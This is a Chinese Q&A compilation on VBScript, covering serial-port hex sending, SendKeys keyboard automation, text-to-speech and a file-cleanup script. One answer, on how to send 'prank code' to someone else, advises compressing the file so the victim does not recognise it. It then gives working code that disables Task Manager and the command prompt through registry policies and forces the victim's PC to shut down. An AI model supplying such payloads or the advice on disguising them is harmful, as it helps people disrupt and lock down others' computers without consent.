vbs代码怎么发（MSComm控件VBS编程怎么发送十六进制的数据，求代码）

本文目录

• MSComm控件VBS编程怎么发送十六进制的数据，求代码
• 请问vbs怎么发送win+r键
• vbs整人代码怎么发送给别人
• 怎么用vbs代码按按键
• vbs代码怎么用
• vbs 怎么写
• vbs发声代码

MSComm控件VBS编程怎么发送十六进制的数据，求代码

所谓16进制数据，实质就是10进制数据，将所见的16进制字符串，按字节对应转换为10进制数发送就是了。使用&H00-&HFF转换为10进制数。适当范围内的数字，前缀以 &H，可以直接表示十六进制数字。例如，十六进制表示法的 &H10 代表十进制的 16。详细参考附件工程。

请问vbs怎么发送win+r键

set ws=createobject("wscript.shell") ws.sendKeys "^{esc}r"VBS中SendKeys的基本应用模拟键盘操作，将一个或多个按键指令发送到指定Windows窗口来控制应用程序运行， 其使用格式为：object.SendKeys string “object”：表示WshShell对象 “string”：表示要发送的按键指令字符串，需要放在英文双引号中。 1.基本键 一般来说，要发送的按键指令都可以直接用该按键字符本身来表示，例如要发送字母“x”，使用“WshShell.SendKeys "x"”即可。当然，也可直接发送多个按键指令，只需要将按键字符按顺序排列在一起即可，例如，要发送按键“happy”，可以使用“WshShell.SendKeys "happy"”。 2.特殊功能键 对于需要与Shift、Ctrl、Alt三个控制键组合的按键，SendKeys使用特殊字符来表示： Shift---------WshShell.SendKeys "+" Ctrl---------WshShell.SendKeys "^" Alt---------WshShell.SendKeys "%" 由于“+”、“^”这些字符用来表示特殊的控制按键了，如何表示这些按键呢？ 只要用大括号括住这些字符即可。例如: 要发送加号“+”，可使用“WshShell.SendKeys "{+}"” 另外对于一些不会生成字符的控制功能按键，也同样需要使用大括号括起来按键的名称，例如要发送回车键，需要用“WshShell.SendKeys "{ENTER}"”表示，发送向下的方向键用“WshShell.SendKeys "{DOWN}"”表示。 Space---------WshShell.SendKeys " " Enter---------WshShell.SendKeys "{ENTER}" ←---------WshShell.SendKeys "{RIGHT}" ↑---------WshShell.SendKeys "{UP}" F1---------WshShell.SendKeys "{F1}" Tips:如果需要发送多个重复的单字母按键，不必重复输入该字母，SendKeys允许使用简化格式进行描述，使用格式为“{按键 数字}”。例如要发送10个字母“x”，则输入“WshShell.SendKeys "{x 10}"”即可。 实例： ---------------------------------------------------- 按下F5刷新桌面 Dim WshShell,Path,i Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.SendKeys "{F5}" ---------------------------------------------------- 电脑的自动重启 set WshShell = CreateObject("WScript.Shell") WshShell.SendKeys "^{ESC}u" WshShell.SendKeys "R" ---------------------------------------------------- 启动任务管理器 set WshShell = CreateObject("WScript.Shell") WshShell.SendKeys "^+{ESC}"

vbs整人代码怎么发送给别人

简单啊。你把VBS后面改成.VBS就可以了。还有，别忘了得压缩。你不压缩别人一看到就知道这是个耍人的脚本了， 求积分，顺便附上一个代码，set s=createobject("wscript.shell") set bag=getobject("winmgmts:\\.\root\cimv2") set pipe=bag.execquery("select * from win32_process where name=’wscript.exe’") For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname)《》0 and pipe.count》=2 then s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" for i=1 to 200 s.popup"系统将在"& 1-i &"秒后关机...",1,"系统提示",4096+48 next Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next 这是个耍人的代码，可以让他电脑关机后重启后任务管理器打不开。CMD也打不开。 想要解决的方法就是先打开一次这个脚本，然后会提示关机，在没关机前你再打开一次那个脚本就好了

怎么用vbs代码按按键

Dim xSet x = CreateObject("Wscript.Shell")Dox.SendKeys "你要按的键" //Ctrl键用^表示。Loop

vbs代码怎么用

这段代码是对当前的活动窗口发送键盘消息, 你保存成.vbs再运行是向这个vbs发送键盘消息渣春. 在Wscript.Sleep 8000下面一行加一句tx.AppActivate "你要的如腊耐程序名字"就好了比如说要往一个记事本1.txt里面写abc就这样写(1.txt必须开着的)Set tx=CreateObject("Wscript.Shell")Wscript.Sleep 8000tx.AppActivate "1.txt"tx.SendKeys "a"Wscript.Sleep 3000tx.SendKeys "{Enter}"tx.SendKeys "b"Wscript.Sleep 3000tx.SendKeys "{Enter}"Wscript.Sleep 3000tx.SendKeys "局巧c"tx.SendKeys "{Enter}"

vbs 怎么写

可以借助DOS命令来做，以下便是VBS代码，另存为test.vbs后运行测试。’======================================================Dim Command,PathPath="F:\media" ’这里是文件夹路径Command="setlocal enabledelayedexpansion"&vbcrlf&_"set now=%date:~0,4%%date:~5,2%%date:~8,2%"&vbcrlf&_"For /R "&Path&" %%i IN (*) Do ("&vbcrlf&_" set tt= %%~ti "&vbcrlf&_" set /a tt = %now%-!tt:~1,4!!tt:~6,2!!tt:~9,2!"&vbcrlf&_" IF !tt! gtr 5 del /f /q %%~fi"&vbcrlf&_")"Set ws = createobject("wscript.shell")ws.run Command,0

vbs发声代码

新建一个记事本，在里面输入 CreateObject("SAPI.SpVoice").Speak "I love YOU" 保存扩展名为 .VBS 文件 如：我爱你.vbs 双击运行，电脑就会说 i love you 了 CreateObject("SAPI.SpVoice").Speak《空格》"I love YOU"